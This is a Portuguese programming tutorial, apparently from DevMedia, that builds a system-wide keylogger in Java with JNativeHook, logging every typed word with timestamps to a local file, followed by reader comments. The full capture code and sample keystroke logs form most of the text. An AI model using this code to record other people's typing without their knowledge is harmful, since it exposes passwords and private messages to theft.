Como criar uma aplicação Java de monitoramento de eventos do SO

O projeto consiste na intercepta��o de tudo que for digitado pelo usu�rio que est� usando o Sistema Operacional. Estes dados ser�o salvos em um arquivo de texto para posterior an�lise.

Iniciando o projeto

O primeiro passo � fazer o download do �.jar� da biblioteca JnativeHook e coloc�-la no build path do seu projeto. O link do mesmo pode ser encontrado na se��o Links ao final do artigo.

Ap�s o download extraia o arquivo zip e acesse a pasta �jar� onde voc� encontrar� o arquivo que deve ser adicionado ao build path do seu projeto: JnativeHook.jar. Feito isto, j� podemos come�ar a estruturar nosso projeto.

Vamos come�ar criando uma classe respons�vel por escrever o texto digitado com data e hora, assim podemos fazer uma auditoria posteriormente se desejarmos. Observe a Listagem 1.

Listagem 1. Classe FileUtil


  import java.io.BufferedReader;
  import java.io.BufferedWriter;
  import java.io.File;
  import java.io.FileNotFoundException;
  import java.io.FileReader;
  import java.io.FileWriter;
  import java.io.IOException;
  import java.util.Date;
   
   
  public class FileUtil {
         
         private static final String filePath = "/tmp/intercept.log";
         
         private static String getConteudo(){
               StringBuilder conteudoExistente = new StringBuilder();             
               String linhaAtual;         
               BufferedReader br;
               try {
                      br = new BufferedReader(new FileReader(filePath));
                      while ((linhaAtual = br.readLine()) != null) {
                             conteudoExistente.append(linhaAtual);
                      }
                      
                      return conteudoExistente.toString();
               } catch (FileNotFoundException e) {
                      // TODO Auto-generated catch block
                      e.printStackTrace();
               } catch (IOException e) {
                      // TODO Auto-generated catch block
                      e.printStackTrace();
               }
               return null;
   
               
         }
   
         public static void escreverTexto(String texto){           
               try {
                      
                      File file = new File(filePath);
                      String conteudoAntigo="";
                      if (file.exists()){
                             conteudoAntigo = getConteudo();
                      }else{
                             file.createNewFile();
                      }                                       
                      
                      Date data = new Date();
                      FileWriter filewt = new FileWriter(file);
                      BufferedWriter bw = new BufferedWriter(filewt);
                      String textoComData = data.toString() + " escreveu: " + texto;
                      bw.write(conteudoAntigo + "\n");
                      bw.write(textoComData);
                      bw.close();
               } catch (IOException e) {
                      // TODO Auto-generated catch block
                      e.printStackTrace();
               }
               
         }
         
  }

Logo no in�cio temos a cria��o de uma vari�vel chamada �filePath� que ir� guardar o caminho do arquivo para que possamos usar durante toda classe, assim, n�s centralizamos o valor em um s� ponto e se desejarmos mudar fica bem mais simples.

N�o podemos escrever no arquivo sem saber o que conte�do que j� existia nele. Para isso precisamos criar um m�todo pr�prio para capturar o conte�do j� existente no arquivo, que no nosso caso � o m�todo private static String getConteudo().

Neste m�todo criamos um StringBuilder que ir� armazenar o conte�do lido do arquivo e uma vari�vel �linhaAtual� que guardar� a linha que est� sendo lida em determinado momento e, por �ltimo, o BufferedReader ser� o respons�vel por literalmente realizar a leitura do arquivo, como mostra o c�digo a seguir:


  StringBuilder conteudoExistente = new StringBuilder();             
               String linhaAtual;         
               BufferedReader br;

Usamos o BufferedReader em conjunto com o FileReader para capturar o conte�do do arquivo passando o filePath, que � o caminho onde nosso arquivo est�. Iteramos com o la�o while() adicionando sempre no StringBuilder o conte�do que est� sendo lido, como mostra o c�digo a seguir:


br = new BufferedReader(new FileReader(filePath));
while ((linhaAtual = br.readLine()) != null) {
  conteudoExistente.append(linhaAtual);
}

Por fim retornamos o valor do StringBuilder como uma String, que ser� usada no pr�ximo m�todo que explicaremos.

Depois da defini��o do getConteudo() podemos come�ar a criar nosso m�todo para escrever no arquivo. No m�todo public static void escreverTexto(String texto) instanciamos um objeto do tipo File e verificamos se ele existe:


  File file = new File(filePath);
       String conteudoAntigo="";
       if (file.exists()){
          conteudoAntigo = getConteudo();
       }else{
         file.createNewFile();
     }

Se ele existir ent�o capturamos o conte�do j� existente e armazenamos na vari�vel conteudoAntigo, caso contr�rio, iremos for�ar a cria��o do arquivo. Assim garantimos que n�o teremos erros mais � frente tentando escrever em um arquivo que n�o existe ou mesmo sobrescrever o conte�do do arquivo j� existente.

Nas pr�ximas linhas precisamos de mais quatro vari�veis:

a vari�vel data, que servir� para identificar a data que est� sendo escrito o conte�do no arquivo;
a vari�vel FileWriter e a BufferedWriter, que usamos para escrever no arquivo;
a vari�vel textoComData, que formata o texto escrito juntamente com a data que ele est� sendo escrito.


  Date data = new Date();
                      FileWriter filewt = new FileWriter(file);
                      BufferedWriter bw = new BufferedWriter(filewt);
                      String textoComData = data.toString() + " escreveu: " + texto;

Com todas as vari�veis em m�os basta escrever no arquivo o conte�do desejado e depois fechar o arquivo, como mostra o trecho a seguir:


  bw.write(conteudoAntigo + "\n");
                      bw.write(textoComData);
                      bw.close();

� importante ressaltar que o bloco try-catch � obrigat�rio nessas opera��es, por tratar-se de um Checked Exception.

Com isso temos nosso FileUtil criado e pronto para ser usado. Voc� pode fazer um teste se ele est� funcionando, bastando criar uma classe com um m�todo main() que fa�a a chamada ao FileUtil, como mostra o c�digo da Listagem 2.

Listagem 2. Testando o FileUtil


  public class MainApp {
   
         public static void main(String[] args) {
               
               FileUtil.escreverTexto("opa, estou escrevendo no arquivo");
      }
   
  }
  Prov�vel sa�da:
  Thu Feb 12 21:56:13 BRT 2015 escreveu: opa, estou escrevendo no arquivo

Se voc� conseguir visualizar o arquivo �/tmp/intercept.log� com o conte�do acima significa que est� tudo funcionando e j� podemos come�ar a trabalhar com a parte mais f�cil, o JnativeHook. O JnativeHook conta com uma interface chamada NativeKeyListener para monitorar os eventos que est�o ocorrendo no teclado, assim a biblioteca certifica-se que apenas os m�todos que est�o na interface devem ser utilizados, como mostra a Listagem 3.

Listagem 3. Usando NativeKeyListener


  import org.jnativehook.keyboard.NativeKeyEvent;
  import org.jnativehook.keyboard.NativeKeyListener;
   
   
  public class Intercept implements NativeKeyListener {
   
           @Override
           public void nativeKeyPressed(NativeKeyEvent arg0) {
           }
   
           @Override
           public void nativeKeyReleased(NativeKeyEvent arg0) {                    
           }
   
           @Override
           public void nativeKeyTyped(NativeKeyEvent arg0) {
                     FileUtil.escreverTexto(String.valueOf(arg0.getKeyChar()));
           }
   
  }

No c�digo acima n�s criamos uma classe chamada Intercept que implementa a interface NativeKeyListener, com tr�s m�todos principais:

public void nativeKeyPressed(NativeKeyEvent arg0): Este � chamado quando alguma tecla � pressionada, mas n�o vai nos interessar para este artigo;
public void nativeKeyReleased(NativeKeyEvent arg0): Este � chamado quando a tecla que foi pressionada � �liberada�, mas tamb�m n�o nos interessa para este artigo;
public void nativeKeyTyped(NativeKeyEvent arg0): Este � o m�todo que precisamos para capturar caracteres digitados no teclado, pois ele � respons�vel por identificar apenas valores UNICODE enviados do teclado para a entrada do sistema. N�s iremos interceptar este envio para poder escrever em nosso arquivo.

Ap�s nosso interceptador criado n�s precisamos inicializar nosso programa para come�ar o monitoramento, como mostra o c�digo da Listagem 4.

Listagem 4. Iniciando a aplica��o de monitoramento


  import org.jnativehook.GlobalScreen;
  import org.jnativehook.NativeHookException;
   
  public class MainApp {
   
         public static void main(String[] args) {
          try {
              GlobalScreen.registerNativeHook();
          }
          catch (NativeHookException ex) {
              System.err.println("Ops, ocorreu um problema ao tentar registrar o NativeHook");
              System.err.println(ex.getMessage());
   
              System.exit(1);
          }
   
          GlobalScreen.getInstance().addNativeKeyListener(new Intercept());
      }
   
  }

Se voc� procurar no c�digo fonte da biblioteca JnativeHook descobrir� que o m�todo registerNativeHook tem a mesma assinatura a seguir:

public static native void registerNativeHook() throws NativeHookException;

O m�todo registernativehook est� sendo implementado em outra linguagem atrav�s do JNI (Java Native Interface). Esta pode lan�ar uma NativeHookException caso as funcionalidades desejadas que estamos tentando usar estejam desabilitadas ou indispon�veis.

Ent�o o m�todo acima aciona a linguagem C que faz comunica��o direta com o Sistema Operacional.

Tudo dando certo, sem nenhuma exception, entramos na inicializa��o do listener dentro da classe GlobalScreen, de acordo com o c�digo a seguir:

GlobalScreen.getInstance().addNativeKeyListener(new Intercept());

O getInstance() deixa expl�cito que o JnativeHook usa o padr�o de projeto Singleton na classe Globalscreen, garantindo assim que apenas uma inst�ncia do GlobalScreen existir� em todo contexto da aplica��o. O m�todo addNativeKeyListener() adiciona nosso listener Intercept a lista de listeners do GlobalScreen, como mostra a implementa��o da Listagem 6.

Listagem 6. M�todo addnativekeylistener


  public void addNativeKeyListener(NativeKeyListener listener) {
               if (listener != null) {
                      eventListeners.add(NativeKeyListener.class, listener);
               }
         }

Caso o listener passado n�o seja nulo, ent�o ele � adicionado ao objeto eventListeners, que � do tipo EventListenerList. Olhando um pouco mais a fundo temos que a classe EventListenerList possui um array de listeners que, por sua vez, implementa um m�todo add() para adicionar um novo listener a esta lista. Vejamos este m�todo na Listagem 7.

Listagem 7. M�todo add do EventListenerList


   public synchronized extends EventListener> void add(Class t, T l) {
   if (l==null) {
   // In an ideal world, we would do an assertion here
   // to help developers know they are probably doing
   // something wrong
   return;
   }
   if (!t.isInstance(l)) {
   throw new IllegalArgumentException("Listener " + l +
   " is not of type " + t);
   }
   if (listenerList == NULL_ARRAY) {
   // if this is the first listener added,
   // initialize the lists
   listenerList = new Object[] { t, l };
   } else {
   // Otherwise copy the array and add the new listener
   int i = listenerList.length;
   Object[] tmp = new Object[i+2];
   System.arraycopy(listenerList, 0, tmp, 0, i);
  
   tmp[i] = t;
   tmp[i+1] = l;
  
   listenerList = tmp;
   }
   }

O m�todo add() garante uma s�rie de valida��es que um add() de um List n�o seria capaz de garantir, sendo assim, fez-se necess�ria sua implementa��o.

Realizando testes

Com toda aplica��o pronta podemos come�ar os testes. Execute a classe MainApp, mostrada na Listagem 4, que ir� iniciar o monitoramento dos eventos do teclado e s� ir� parar quando voc� der o �stop� no console.

Quando a aplica��o for executada voc� dever� ver a mensagem presente na Listagem 8.

Listagem 8. Log de inicializa��o do JnativeHook


  JNativeHook: Global keyboard and mouse hooking for Java.
  Copyright (C) 2006-2014 Alexander Barker.  All Rights Received.
  https://github.com/kwhat/jnativehook/
   
  JNativeHook is free software: you can redistribute it and/or modify
  it under the terms of the GNU Lesser General Public License as published
  by the Free Software Foundation, either version 3 of the License, or
  (at your option) any later version.
   
  JNativeHook is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.
   
  You should have received a copy of the GNU Lesser General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informa��es: hook_get_auto_repeat_rate [242]: XkbGetAutoRepeatRate: 30.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informa��es: hook_get_auto_repeat_delay [288]: XkbGetAutoRepeatRate: 500.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informa��es: hook_get_pointer_acceleration_multiplier [329]: XGetPointerControl: 1.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informa��es: hook_get_pointer_acceleration_threshold [351]: XGetPointerControl: 4.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informa��es: hook_get_pointer_sensitivity [373]: XGetPointerControl: 2.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informa��es: hook_get_multi_click_time [400]: XtGetMultiClickTime: 200.
   
  Fev 14, 2015 1:39:37 PM org.jnativehook.GlobalScreen loadNativeLibrary
  Informa��es: Library extracted successfully: /tmp/libJNativeHook-1.2.0-RC4.so (0x8EA01AC346195138E8FBE3A18F4B7CACDF307485).
   
  Fev 14, 2015 1:39:37 PM org.jnativehook.GlobalScreen registerNativeHook
  Informa��es: hook_enable [296]: XRecord version: 1.13.
   
  Fev 14, 2015 1:39:37 PM org.jnativehook
  Informa��es: get_event_timestamp [128]: Resynchronizing event clock. (1423909510127)

O log acima descreve a inicializa��o da biblioteca JnativeHook em n�vel de sistema operacional, veja que ele est� apontando para o �.so� libJNativeHook-1.2.0-RC4.so carregado no diret�rio �/tmp�. � importante entendermos que as chamadas e eventos de monitoramento s�o feitas a partir do SO e n�o da aplica��o em Java. A aplica��o em Java declara um m�todo native que usa recursos da linguagem C.

Ap�s algumas poucas digita��es no teclado veja na Listagem 9 como ficou nosso arquivo intercept.log.

Listagem 9. Intercept.log


  Sat Feb 14 11:55:08 BRT 2015 escreveu: t
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu: a
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu: i
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu: l
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu:
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu: )
   
  Sat Feb 14 11:55:09 BRT 2015 escreveu: f
   
  Sat Feb 14 11:55:09 BRT 2015 escreveu:
   
  Sat Feb 14 11:55:09 BRT 2015 escreveu: i
   
  Sat Feb 14 11:55:09 BRT 2015 escreveu: n
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: r
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: o
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: n
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: a
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: l
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: d
   
  Sat Feb 14 11:55:12 BRT 2015 escreveu: o
   
  Sat Feb 14 11:55:13 BRT 2015 escreveu: c

Voc� deve ter percebido que ficou um pouco dif�cil de tender o que foi digitado, j� que a cada caractere est� sendo gerado um novo log. Com mais algumas linhas de c�digo conseguimos resolver o problema em partes. Podemos seguir a linha de racioc�nio: Quando o usu�rio apertar a tecla de espa�o (Space Bar) ent�o partimos do princ�pio que uma nova palavra ser� digitada, sendo assim, s� criamos uma nova linha no log quando a barra de espa�o for acionada.

Mudamos ent�o apenas a classe Intercept, como mostra a Listagem 10.

Listagem 10. Mudan�a na classe Intercept


  private StringBuilder str = new StringBuilder();
  �
   
  @Override
         public void nativeKeyTyped(NativeKeyEvent arg0) {
               if (Character.isWhitespace(arg0.getKeyChar())){                    
                      FileUtil.escreverTexto(str.toString());
                      str.delete(0, str.length());
               }else{
                      str.append(arg0.getKeyChar());
               }
         }

Criamos uma vari�vel str do tipo StringBuilder que ir� concatenar o valor digitado at� que uma nova palavra surja. Dentro do nativeKeyTyped checamos se o que foi digitado � um espa�o em branco, caso positivo, ent�o escrever no intercept.log o conte�do da vari�vel �str� e limpamos ela; caso contr�rio, iremos apenas adicionar o valor a vari�vel �str�.

Veja como ficou nossa nova sa�da do intercept.log na Listagem 11.

Listagem 11. intercept.log depois da altera��o


  Sat Feb 14 13:55:00 BRT 2015 escreveu: ronaldo
   
  Sat Feb 14 13:55:03 BRT 2015 escreveu: lanhellas

�timo, agora podemos identificar de forma simples o que est� sendo digitado.

Como visto durante todo o artigo, mostramos como criar uma aplica��o para monitorar o que est� sendo digitado fora do contexto da sua aplica��o e para isso precisamos utilizar bibliotecas que fazem comunica��o direta com o Sistema Operacional (arquivos .so). Vimos na �ltima se��o que nosso projeto ainda tem algumas falhas como a identifica��o e identa��o correta das palavras e frases no intercept.log. Para isso, voc� pode usar o que j� foi mostrado sobre o WhiteSpace e incrementar com o ENTER, BACKSPACE e at� Data para ver o tempo de digita��o do usu�rio.

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Coment�rios nesta publica��o Escrever um coment�rio sobre conte�do

Klebert Junior

N�vel 1

olá, bom dia!
não condigo baixa o arquivo download do “.jar” pra adicionar na buil do meu programa, como faço esse procedimento não acho link na página

há 7 meses

Ver coment�rio anterior

Daniella Gomes

DevMedia

Olá Kleber tudo bem!?
Os arquivos estão prontos para download, junto ao botão "Código fonte" no topo do artigo.
Bons estudos[]

há 7 meses

Klebert Junior

N�vel 1

o programa estar dando esse erro como faço para solucionar?

há 7 meses

Ver coment�rios anteriores (5)

Marcio Souza

DevMedia

Oi.

Se você adicionou a biblioteca que indiquei não tem qualquer problema no código. Eu mesmo testei o código para ver se a versão da biblioteca era compatível.

Qual a versão do Java que está usando? Sugiro usar no máximo o Java 8, já que é um projeto com um versão de biblioteca mais antiga.

há 7 meses

Klebert Junior

N�vel 1

tem como enviar esse código pronta para mim

há 7 meses

Rodolfo Gomes

DevMedia

Compartilharei este novo retorno dado ao consultor tbm 😉

há 7 meses

Respondido em tempo real

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Eu sabia pouqu�ssimas coisas de programa��o antes de come�ar a estudar com voc�s, fui me especializando em v�rias �reas e ferramentas que tinham na plataforma, e com essa bagagem consegui um est�gio logo no in�cio do meu primeiro per�odo na faculdade.

Lucas Rodrigues

Estudo aqui na Dev desde o meio do ano passado! Nesse per�odo a Dev me ajudou a crescer muito aqui no trampo.
Fui o primeiro desenvolvedor contratado pela minha empresa. Hoje eu lidero um time de desenvolvimento!
Minha meta � continuar estudando e praticando para ser um Full-Stack Dev!

Her�clito J�nior

Economizei 3 meses para assinar a plataforma e sendo sincero valeu muito a pena, pois a plataforma � bem intuitiva e muuuuito did�tica a metodologia de ensino. Sinto que estou EVOLUINDO a cada dia. Muito obrigado!

Julio Cablen

Nossa! Plataforma maravilhosa. To amando o curso de desenvolvimento front-end, tinha coisas que eu ainda n�o tinha visto. A did�tica � do jeito que qualquer pessoa consegue aprender. S�rio, to apaixonado, adorando demais.

Joelberth Sena

Adquiri o curso de voc�s e logo percebi que s�o os melhores do Brasil. � um passo a passo incr�vel. S� n�o aprende quem n�o quer. Foi o melhor investimento da minha vida!

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